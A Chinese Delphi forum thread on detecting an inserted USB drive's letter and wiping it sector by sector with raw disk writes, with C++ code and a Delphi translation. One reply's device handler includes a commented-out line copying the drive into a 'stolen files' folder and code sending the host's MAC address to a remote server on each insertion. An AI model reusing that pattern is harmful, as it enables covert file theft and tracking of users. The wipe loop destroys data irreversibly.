如何得到U盘的盘符,并彻底格式化U盘(usboot的功能) ( 积分: 109 )

  • 主题发起人 主题发起人 happytimes_dsq
  • 开始时间 开始时间
H

happytimes_dsq

Unregistered / Unconfirmed
GUEST, unregistred user!
我想做个小软件,能自动读出插上的U盘的盘符.(显示出来).然后对这个U盘进行彻底的格式化,就是所谓的低级格式化,把扇区啊什么的所有低层参数都置0 (和usboot的"用0重置参数"功能一样).麻烦有经验的大大帮助下我.给点资料代码.全部家当送上了.
 
请各位前辈指教下,很急呀!!!
 
不让别人用U盘就得了!没有必要那么损!
 
不是损,是把U盘这样处理后给其他设备用,必须做这样的处理,相应的设备才能网里面写数据.拜托大家了.我找也找不到相关的资料!
 
各位高手帮帮忙,小弟郁闷很久了,资料都没找到,请有经验的高手指点下,只要是底层参数那置0要怎么做呀!现在U盘符到是能读到了。。
 
procedure&nbsp;TForm1.WMDeviceChange(var&nbsp;Msg:&nbsp;TMessage);<br>const&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DBT_DEVICEARRIVAL&nbsp;=&nbsp;$8000;&nbsp;&nbsp;//&nbsp;system&nbsp;detected&nbsp;a&nbsp;new&nbsp;device<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DBT_DEVICEREMOVECOMPLETE&nbsp;=&nbsp;$8004;&nbsp;&nbsp;//&nbsp;device&nbsp;is&nbsp;gone<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DBT_DEVTYP_VOLUME&nbsp;=&nbsp;$00000002;&nbsp;&nbsp;//&nbsp;logical&nbsp;volume<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DBTF_MEDIA&nbsp;=&nbsp;$0001;&nbsp;&nbsp;//&nbsp;media&nbsp;comings&nbsp;and&nbsp;goings<br>type<br>&nbsp;PDEV_BROADCAST_HDR&nbsp;=&nbsp;^TDEV_BROADCAST_HDR;<br>&nbsp;TDEV_BROADCAST_HDR&nbsp;=&nbsp;packed&nbsp;record<br>&nbsp;&nbsp;&nbsp;dbch_size&nbsp;:&nbsp;DWORD;<br>&nbsp;&nbsp;&nbsp;dbch_devicetype&nbsp;:&nbsp;DWORD;<br>&nbsp;&nbsp;&nbsp;dbch_reserved&nbsp;:&nbsp;DWORD;<br>&nbsp;end;<br>&nbsp;&nbsp;PDEV_BROADCAST_VOLUME&nbsp;=&nbsp;^TDEV_BROADCAST_VOLUME;<br>&nbsp;&nbsp;TDEV_BROADCAST_VOLUME&nbsp;=&nbsp;packed&nbsp;record<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dbcv_size&nbsp;:&nbsp;DWORD;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dbcv_devicetype&nbsp;:&nbsp;DWORD;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dbcv_reserved&nbsp;:&nbsp;DWORD;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dbcv_unitmask&nbsp;:&nbsp;DWORD;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dbcv_flags&nbsp;:&nbsp;WORD;<br>&nbsp;&nbsp;&nbsp;end;<br>var<br>&nbsp;&nbsp;&nbsp;lpdb&nbsp;:&nbsp;PDEV_BROADCAST_HDR;<br>&nbsp;&nbsp;&nbsp;lpdbv&nbsp;:&nbsp;PDEV_BROADCAST_VOLUME;<br>&nbsp;&nbsp;&nbsp;unitmask:DWORD;<br>&nbsp;&nbsp;&nbsp;i:integer;<br><br>&nbsp;&nbsp;&nbsp;Data:&nbsp;MyData;<br>begin<br>&nbsp;&nbsp;lpdb&nbsp;:=&nbsp;PDEV_BROADCAST_HDR(Msg.LParam);<br>&nbsp;&nbsp;case&nbsp;Msg.WParam&nbsp;of<br>&nbsp;&nbsp;&nbsp;&nbsp;DBT_DEVICEARRIVAL&nbsp;://有设备安装完毕<br><br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;lpdb.dbch_devicetype=DBT_DEVTYP_VOLUME&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;lpdbv&nbsp;:=&nbsp;PDEV_BROADCAST_VOLUME(lpdb);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unitmask:=lpdbv.dbcv_unitmask;//取得设备的盘符<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;i:=0&nbsp;to&nbsp;25&nbsp;do&nbsp;//遍历磁盘<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;Boolean(unitmask&nbsp;and&nbsp;$1)then//看该驱动器的状态是否发生了变化<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unitmask&nbsp;:=&nbsp;unitmask&nbsp;shr&nbsp;1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//char(i+65);//变化的盘符<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//CopyDirAll(Char(i+65)+':/',ExtractFileDir(Application.Exename)+'/窃取的文件/');//拷贝源和目标,自行修改吧<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//MessageBox(0,Pchar('OK'),'CY',MB_OK);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Data.style&nbsp;:=&nbsp;'UGETIN';<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Data.UserInfo&nbsp;:=&nbsp;GetMacAddress(0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sendData(Server_IP,25001,Data);<br>&nbsp;&nbsp;&nbsp;&nbsp;end;<br><br>&nbsp;&nbsp;end;<br>end;
 
谢谢你的回复,我看好象是得到U盘的盘符吧!能教小弟怎么样usboot的&quot;用0重置参数&quot;功能一样的低级格式化吗?我太菜,还请多指教!非常感谢了!
 
小弟找到点相关的资料,仔细阅读,只能大概了解些意思.觉得应该是能实现所谓低格的要求,可是因为小弟水平实在有限,并且这个是VC++,希望哪位高手能帮忙翻译成D,并组织实现下此功能!万分感谢,分不够可以再给..
 
&nbsp;&nbsp;对磁盘扇区数据的访问<br><br>&nbsp;&nbsp;&nbsp;&nbsp;前面已经提过,在Windows&nbsp;下把所有的设备当作文件进行操作。如果对串口进行编程或许不少读者还比较熟悉:对于串行端口1、2,可以用”COM1”、”COM2”作为参数调用CreateFile()函数,这里的”COM1”、”COM2”即以文件存放路径的方式指出了要操作的硬件设备。但是如果需要对磁盘的某个扇区进行读写,可能不少读者不会想到使用CreateFile()函数或是不知如何使用。其实,与对串行端口的访问类似,需要用与文件存放路径相类似的方式指出要操作的硬件设备(硬盘)。但是这里并不是用“DISK1”、“DISK2”等去标识某一块物理存在的硬盘。由于逻辑扇区是存在于逻辑分区上的,因此这里需要以某种特定的格式来指定需要访问的磁盘逻辑分区。对于逻辑分区X,其格式为”//./X:”。<br><br>HANDLE&nbsp;CreateFile(&nbsp;LPCTSTR&nbsp;lpFileName,&nbsp;<br>DWORD&nbsp;dwDesiredAccess,&nbsp;<br>DWORD&nbsp;dwShareMode,&nbsp;<br>LPSECURITY_ATTRIBUTES&nbsp;lpSecurityAttributes,&nbsp;<br>DWORD&nbsp;dwCreationDisposition,&nbsp;<br>DWORD&nbsp;dwFlagsAndAttributes,&nbsp;<br>HANDLE&nbsp;hTemplateFile&nbsp;);&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;CreateFile()函数原型如上所示,由于访问的是事实上已经存在的磁盘扇区,因此只能以OPEN_EXISTING标志设置dwCreationDisposition参数指出将要打开已经存在的文件(设备)。至于其他参数的使用与操作普通文件时的用法相同。<br>通过CreateFile()打开的是整个磁盘逻辑分区,而要操作的是该分区的某些扇区,因此还要通过SetFilePointer()函数以文件操作的方式把指针移到要操作的磁盘扇区开始处。SetFilePointer()函数原型为:<br><br>DWORD&nbsp;SetFilePointer(HANDLE&nbsp;hFile,&nbsp;<br>LONG&nbsp;lDistanceToMove,&nbsp;<br>PLONG&nbsp;lpDistanceToMoveHigh,<br>DWORD&nbsp;dwMoveMethod);&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;参数hFile为CreateFile()返回的文件(设备)句柄;lDistanceToMove和lpDistanceToMoveHigh指出了要设置偏移量的低端和高端部分;dwMoveMethod指出文件指针从何处开始移动,可能的选项有FILE_START(从文件开始)、FILE_END(从文件结尾)和FILE_CURRENT(从文件当前位置)。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;在定位到要访问的扇区开始位置后就可以通过ReadFile()或WriteFile()函数实施相应的读写访问了,具体操作与文件读写并没有什么太大的差别。最后,在完成访问操作后以CloseHandle()关闭文件句柄释放资源,从而完成一次完整的磁盘扇区数据访问操作。下面给出具体的读、写处理过程:<br><br>BOOL&nbsp;CDirectAccessHDDlg::WriteSectors(BYTE&nbsp;bDrive,&nbsp;DWORD&nbsp;dwStartSector,&nbsp;WORD&nbsp;wSectors,&nbsp;LPBYTE&nbsp;lpSectBuff)&nbsp;<br>//&nbsp;对磁盘扇区数据的写入<br>{<br>&nbsp;&nbsp;if&nbsp;(bDrive&nbsp;==&nbsp;0)&nbsp;return&nbsp;0;<br>&nbsp;&nbsp;char&nbsp;devName[]&nbsp;=&nbsp;&quot;////.//A:&quot;;<br>&nbsp;&nbsp;devName[4]&nbsp;='A'&nbsp;+&nbsp;bDrive&nbsp;-&nbsp;1;<br>&nbsp;&nbsp;HANDLE&nbsp;hDev&nbsp;=&nbsp;CreateFile(devName,&nbsp;GENERIC_WRITE,&nbsp;FILE_SHARE_WRITE,&nbsp;NULL,&nbsp;OPEN_EXISTING,&nbsp;0,&nbsp;NULL);<br>&nbsp;&nbsp;if&nbsp;(hDev&nbsp;==&nbsp;INVALID_HANDLE_VALUE)&nbsp;return&nbsp;0;<br>&nbsp;&nbsp;SetFilePointer(hDev,&nbsp;512&nbsp;*&nbsp;dwStartSector,&nbsp;0,&nbsp;FILE_BEGIN);<br>&nbsp;&nbsp;DWORD&nbsp;dwCB;<br>&nbsp;&nbsp;BOOL&nbsp;bRet&nbsp;=&nbsp;WriteFile(hDev,&nbsp;lpSectBuff,&nbsp;512&nbsp;*&nbsp;wSectors,&nbsp;&amp;dwCB,&nbsp;NULL);<br>&nbsp;&nbsp;CloseHandle(hDev);<br>&nbsp;&nbsp;return&nbsp;bRet;<br>}<br>BOOL&nbsp;CDirectAccessHDDlg::ReadSectors(BYTE&nbsp;bDrive,&nbsp;DWORD&nbsp;dwStartSector,&nbsp;WORD&nbsp;wSectors,&nbsp;LPBYTE&nbsp;lpSectBuff)<br>//&nbsp;对磁盘扇区数据的读取<br>{<br>&nbsp;&nbsp;if&nbsp;(bDrive&nbsp;==&nbsp;0)&nbsp;return&nbsp;0;<br>&nbsp;&nbsp;char&nbsp;devName[]&nbsp;=&nbsp;&quot;////.//A:&quot;;<br>&nbsp;&nbsp;devName[4]&nbsp;='A'&nbsp;+&nbsp;bDrive&nbsp;-&nbsp;1;<br>&nbsp;&nbsp;HANDLE&nbsp;hDev&nbsp;=&nbsp;CreateFile(devName,&nbsp;GENERIC_READ,&nbsp;FILE_SHARE_WRITE,&nbsp;NULL,&nbsp;OPEN_EXISTING,&nbsp;0,&nbsp;NULL);<br>&nbsp;&nbsp;if&nbsp;(hDev&nbsp;==&nbsp;INVALID_HANDLE_VALUE)&nbsp;return&nbsp;0;<br>&nbsp;&nbsp;SetFilePointer(hDev,&nbsp;512&nbsp;*&nbsp;dwStartSector,&nbsp;0,&nbsp;FILE_BEGIN);<br>&nbsp;&nbsp;DWORD&nbsp;dwCB;<br>&nbsp;&nbsp;BOOL&nbsp;bRet&nbsp;=&nbsp;ReadFile(hDev,&nbsp;lpSectBuff,&nbsp;512&nbsp;*&nbsp;wSectors,&nbsp;&amp;dwCB,&nbsp;NULL);<br>&nbsp;&nbsp;CloseHandle(hDev);<br>&nbsp;&nbsp;return&nbsp;bRet;<br>}&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;上一步实现了对磁盘扇区数据进行读写访问的核心处理过程。在此基础上可以完成一些有实用价值的应用,例如,可以实现对指定磁盘分区中指定起止扇区的内容查看:&nbsp;<br><br>if&nbsp;(ReadSectors(uDiskID,&nbsp;m_uFrom,&nbsp;(UINT)dwSectorNum,&nbsp;bBuf)&nbsp;==&nbsp;FALSE)&nbsp;{<br>&nbsp;&nbsp;MessageBox(&quot;所选磁盘分区不存在!&quot;,&nbsp;&quot;错误&quot;,&nbsp;MB_OK&nbsp;|&nbsp;MB_ICONERROR);<br>&nbsp;&nbsp;return;<br>}&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;为了方便数据的显示,可做如下处理以完成格式转换等工作:<br><br>for&nbsp;(DWORD&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;dwSectorNum&nbsp;*&nbsp;512;&nbsp;i++)&nbsp;{<br>&nbsp;&nbsp;sprintf(cBuf,&nbsp;&quot;%s%02X&nbsp;&quot;,&nbsp;cBuf,&nbsp;bBuf);<br>&nbsp;&nbsp;if&nbsp;((i&nbsp;%&nbsp;512)&nbsp;==&nbsp;511)<br>&nbsp;&nbsp;&nbsp;&nbsp;sprintf(cBuf,&nbsp;&quot;%s/r/n第%d扇区/r/n&quot;,&nbsp;cBuf,&nbsp;(int)(i&nbsp;/&nbsp;512)&nbsp;+&nbsp;m_uFrom);<br>&nbsp;&nbsp;if&nbsp;((i&nbsp;%&nbsp;16)&nbsp;==&nbsp;15)<br>&nbsp;&nbsp;&nbsp;&nbsp;sprintf(cBuf,&nbsp;&quot;%s/r/n&quot;,&nbsp;cBuf);<br>&nbsp;&nbsp;else&nbsp;if&nbsp;((i&nbsp;%&nbsp;16)&nbsp;==&nbsp;7)<br>&nbsp;&nbsp;&nbsp;&nbsp;sprintf(cBuf,&nbsp;&quot;%s-&nbsp;&quot;,&nbsp;cBuf);<br>}&nbsp;<br><br>&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;显示结果如上图所示。另外一种应用与之类似,即对磁盘扇区内容的备份与恢复处理。不少防病毒软件都提供这样的功能:对硬盘引导区内容的备份,一旦硬盘引导扇区被病毒破坏后能够通过对备份数据的写入实现恢复。备份操作与前面的数据显示操作类似,只是把读取的内容不经格式处理而直接保存到指定的文件中即可:<br><br>file.Open(fileDlg.GetPathName(),&nbsp;CFile::modeCreate&nbsp;|&nbsp;CFile::modeReadWrite);<br>……<br>if&nbsp;(ReadSectors(uDiskID,&nbsp;m_uFrom,&nbsp;(UINT)dwSectorNum,&nbsp;bBuf)&nbsp;==&nbsp;FALSE)&nbsp;{<br>&nbsp;&nbsp;MessageBox(&quot;所选磁盘分区不存在!&quot;,&nbsp;&quot;错误&quot;,&nbsp;MB_OK&nbsp;|&nbsp;MB_ICONERROR);<br>&nbsp;&nbsp;return;<br>}<br>file.Write(bBuf,&nbsp;dwSectorNum&nbsp;*&nbsp;512);<br>file.Close();&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;数据的恢复处理正好与之相反,首先打开备份文件并根据文件长度计算要写的扇区数,然后读取其内容到缓存,最后将其写入到指定扇区完成数据的恢复:<br><br>file.Open(fileDlg.GetPathName(),&nbsp;CFile::modeReadWrite);<br>DWORD&nbsp;dwSectorNum&nbsp;=&nbsp;file.GetLength();<br>if&nbsp;(dwSectorNum&nbsp;%&nbsp;512&nbsp;!=&nbsp;0)&nbsp;return;<br>&nbsp;&nbsp;dwSectorNum&nbsp;/=&nbsp;512;<br>&nbsp;&nbsp;unsigned&nbsp;char*&nbsp;bBuf&nbsp;=&nbsp;new&nbsp;unsigned&nbsp;char[dwSectorNum&nbsp;*&nbsp;512];<br>&nbsp;&nbsp;file.Read(bBuf,&nbsp;dwSectorNum&nbsp;*&nbsp;512);<br>&nbsp;&nbsp;if&nbsp;(WriteSectors(uDiskID,&nbsp;m_uFrom,&nbsp;(UINT)dwSectorNum,&nbsp;bBuf)&nbsp;==&nbsp;FALSE)&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(&quot;所选磁盘分区不存在!&quot;,&nbsp;&quot;错误&quot;,&nbsp;MB_OK&nbsp;|&nbsp;MB_ICONERROR);<br>&nbsp;&nbsp;&nbsp;&nbsp;return;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;file.Close();<br>&nbsp;&nbsp;delete[]&nbsp;bBuf;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;下面将要给出的最后一个应用是对磁盘数据的安全擦除。众所周知,在操作系统下是通过文件管理系统实现对文件访问管理的。当删除一个文件时,该文件的全部内容并没有发生任何损坏,如果没有外部数据的覆盖,完全可以通过各种数据恢复软件将先前删除的文件恢复出来。但在军工、政府等特殊的涉密行业、部门中,要求的是数据的彻底删除,即经删除过的数据是不可进行再恢复处理的。为了确保磁盘数据的可靠清空,可以对每一个扇区写入全1后再写入全0。之所以多次写入数据,是因为一次写入只能防止数据恢复软件的恢复处理。如果覆盖次数不多的化,通过一种被称做“磁盘放大镜”的特殊仪器仍能够以物理的方法将先前删除的数据恢复出来,因此这里需要对扇区多次重复写入数据,反复次数越多擦除效果越好。下面是这部分的具体实现代码:<br><br>unsigned&nbsp;char&nbsp;bBuf[512];<br>UINT&nbsp;i&nbsp;=&nbsp;0;<br>BOOL&nbsp;bRet&nbsp;=&nbsp;TRUE;<br>while&nbsp;(m_bAllDisk){<br>&nbsp;&nbsp;memset(bBuf,&nbsp;0xFF,&nbsp;sizeof(bBuf));<br>&nbsp;&nbsp;bRet&nbsp;=&nbsp;WriteSectors(uDiskID,&nbsp;i,&nbsp;1,&nbsp;bBuf);<br>&nbsp;&nbsp;memset(bBuf,&nbsp;0,&nbsp;sizeof(bBuf));<br>&nbsp;&nbsp;bRet&nbsp;=&nbsp;WriteSectors(uDiskID,&nbsp;i,&nbsp;1,&nbsp;bBuf);<br>&nbsp;&nbsp;if&nbsp;(bRet&nbsp;==&nbsp;FALSE){<br>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(i&nbsp;==&nbsp;0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(&quot;所选磁盘分区不存在!&quot;,&nbsp;&quot;错误&quot;,&nbsp;MB_OK&nbsp;|&nbsp;MB_ICONERROR);<br>&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(&quot;磁盘数据擦除完毕!&quot;,&nbsp;&quot;错误&quot;,&nbsp;MB_OK&nbsp;|&nbsp;MB_ICONERROR);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br>&nbsp;&nbsp;}<br>&nbsp;&nbsp;i++;<br>}&nbsp;&nbsp;<br>小弟主要想实现的也就是最后这一步,完全的擦除(应该就是所谓的低格吧),把参数全置0
 
to&nbsp;happytimes_dsq:<br>你都不是贴代码出来了?改一下不就是清0了吗
 
小弟水平有限,这是VC++写的,想有高手能帮忙翻译下成D..烦请帮忙!
 
function&nbsp;WriteSectors(bDrive&nbsp;:BYTE&nbsp;;&nbsp;dwStartSector&nbsp;:DWORD&nbsp;;wSectors&nbsp;:WORD&nbsp;;lpSectBuff&nbsp;:&nbsp;PBYTE&nbsp;):Boolean&nbsp;;<br>var<br>&nbsp;&nbsp;devName&nbsp;:&nbsp;string&nbsp;;<br>&nbsp;&nbsp;hDev&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;THandle&nbsp;;<br>&nbsp;&nbsp;dwCB&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;DWORD&nbsp;;<br>&nbsp;&nbsp;bRet&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Boolean&nbsp;;<br>begin<br>//&nbsp;对磁盘扇区数据的写入<br>&nbsp;&nbsp;Result&nbsp;:=&nbsp;False&nbsp;;<br>&nbsp;&nbsp;if&nbsp;bDrive&nbsp;=&nbsp;0&nbsp;then&nbsp;&nbsp;Exit&nbsp;;<br>&nbsp;&nbsp;devName&nbsp;:=&nbsp;'////.//A:';<br>&nbsp;&nbsp;devName[4]&nbsp;:=Char(Ord('A')&nbsp;+&nbsp;bDrive&nbsp;-&nbsp;1&nbsp;&nbsp;);<br>&nbsp;&nbsp;hDev&nbsp;&nbsp;:=&nbsp;CreateFile(PChar(&nbsp;devName),&nbsp;GENERIC_WRITE,&nbsp;FILE_SHARE_WRITE,&nbsp;nil&nbsp;,&nbsp;OPEN_EXISTING,&nbsp;0,0&nbsp;);<br>&nbsp;&nbsp;if&nbsp;&nbsp;hDev&nbsp;=&nbsp;INVALID_HANDLE_VALUE&nbsp;&nbsp;then&nbsp;Exit&nbsp;;<br>&nbsp;&nbsp;SetFilePointer(hDev,&nbsp;512&nbsp;*&nbsp;dwStartSector,&nbsp;nil&nbsp;,&nbsp;FILE_BEGIN);<br>&nbsp;&nbsp;bRet&nbsp;&nbsp;:=&nbsp;WriteFile(hDev,&nbsp;lpSectBuff,&nbsp;512&nbsp;*&nbsp;wSectors,&nbsp;dwCB,&nbsp;nil);<br>&nbsp;&nbsp;CloseHandle(hDev);<br>&nbsp;&nbsp;Result&nbsp;:=&nbsp;bRet;<br>end;<br><br><br>function&nbsp;&nbsp;ReadSectors(bDrive&nbsp;:BYTE&nbsp;;&nbsp;dwStartSector&nbsp;:DWORD&nbsp;;wSectors&nbsp;:&nbsp;WORD&nbsp;;lpSectBuff&nbsp;:&nbsp;PBYTE&nbsp;)&nbsp;:&nbsp;Boolean&nbsp;;<br>var<br>&nbsp;&nbsp;devName&nbsp;&nbsp;&nbsp;:&nbsp;string&nbsp;;<br>&nbsp;&nbsp;hDev&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;THandle&nbsp;;<br>&nbsp;&nbsp;dwCB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;DWORD&nbsp;;<br>&nbsp;&nbsp;bRet&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;Boolean&nbsp;;<br>begin&nbsp;//&nbsp;对磁盘扇区数据的读取<br>&nbsp;&nbsp;Result&nbsp;:=&nbsp;False&nbsp;;<br>&nbsp;&nbsp;if&nbsp;&nbsp;bDrive&nbsp;=&nbsp;&nbsp;0&nbsp;then&nbsp;Exit&nbsp;;<br>&nbsp;&nbsp;devName&nbsp;:=&nbsp;'////.//A:';<br>&nbsp;&nbsp;devName[4]&nbsp;:=Char(&nbsp;Ord('A')&nbsp;+&nbsp;bDrive&nbsp;-&nbsp;1&nbsp;);<br>&nbsp;&nbsp;hDev&nbsp;&nbsp;:=&nbsp;CreateFile(PChar(devName),&nbsp;GENERIC_READ,&nbsp;FILE_SHARE_WRITE,&nbsp;nil&nbsp;,&nbsp;OPEN_EXISTING,&nbsp;0,&nbsp;0);<br>&nbsp;&nbsp;if&nbsp;&nbsp;hDev&nbsp;=&nbsp;INVALID_HANDLE_VALUE&nbsp;&nbsp;then&nbsp;Exit;<br>&nbsp;&nbsp;SetFilePointer(hDev,&nbsp;512&nbsp;*&nbsp;dwStartSector,&nbsp;nil&nbsp;,&nbsp;FILE_BEGIN);<br>&nbsp;&nbsp;bRet&nbsp;&nbsp;:=&nbsp;ReadFile(hDev,&nbsp;lpSectBuff,&nbsp;512&nbsp;*&nbsp;wSectors,&nbsp;dwCB,&nbsp;nil);<br>&nbsp;&nbsp;CloseHandle(hDev);<br>&nbsp;&nbsp;Result&nbsp;:=&nbsp;bRet;<br>end;
 
procedure&nbsp;&nbsp;&nbsp;xxx(m_bAllDisk&nbsp;:&nbsp;Boolean&nbsp;;&nbsp;uDiskID&nbsp;:&nbsp;byte&nbsp;)&nbsp;;<br>var<br>&nbsp;bBuf&nbsp;:&nbsp;array[0..511]&nbsp;of&nbsp;Char;<br>&nbsp;i&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;word&nbsp;;<br>&nbsp;&nbsp;bRet&nbsp;&nbsp;:&nbsp;Boolean&nbsp;;<br>begin<br>&nbsp;&nbsp;&nbsp;I&nbsp;:=&nbsp;0&nbsp;;<br><br>&nbsp;&nbsp;&nbsp;while&nbsp;m_bAllDisk&nbsp;do&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FillChar(bBuf,&nbsp;SizeOf(bBuf),&nbsp;Ord($FF));<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bRet&nbsp;:=&nbsp;WriteSectors(uDiskID,&nbsp;i,&nbsp;1,&nbsp;@bBuf);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FillChar(bBuf,&nbsp;SizeOf(bBuf),&nbsp;#0);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bRet&nbsp;:=&nbsp;WriteSectors(uDiskID,&nbsp;i,&nbsp;1,&nbsp;@bBuf);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;not&nbsp;bRet&nbsp;then&nbsp;begin<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&nbsp;i&nbsp;=&nbsp;0&nbsp;then<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(Application.Handle,'所选磁盘分区不存在','错误',&nbsp;MB_OK&nbsp;or&nbsp;MB_ICONERROR)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox(Application.Handle,'磁盘数据擦除完毕!',&nbsp;'错误',&nbsp;MB_OK&nbsp;or&nbsp;MB_ICONERROR);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit&nbsp;;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end&nbsp;;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Inc(i);<br>&nbsp;&nbsp;&nbsp;end;<br>end;<br><br>全部直接翻译,能编译通过,但没测试过~~
 
非常感谢ztf86781163大哥的翻译,小弟马上就试试,还想请教,procedure&nbsp;&nbsp;&nbsp;xxx(m_bAllDisk&nbsp;:&nbsp;Boolean&nbsp;;&nbsp;uDiskID&nbsp;:&nbsp;byte&nbsp;)&nbsp;;&nbsp;应该怎么用啊,主要是我不明白m_bAllDisk&nbsp;这个参数的意思和用法..还有如果能翻译磁盘扇面里的数据显示就更好了,<br>就能直接测试是否置0或1了!&nbsp;还请指教,谢谢了!
 
多人接受答案了。
 

Similar threads

S
回复
0
查看
3K
SUNSTONE的Delphi笔记
S
S
回复
0
查看
2K
SUNSTONE的Delphi笔记
S
后退
顶部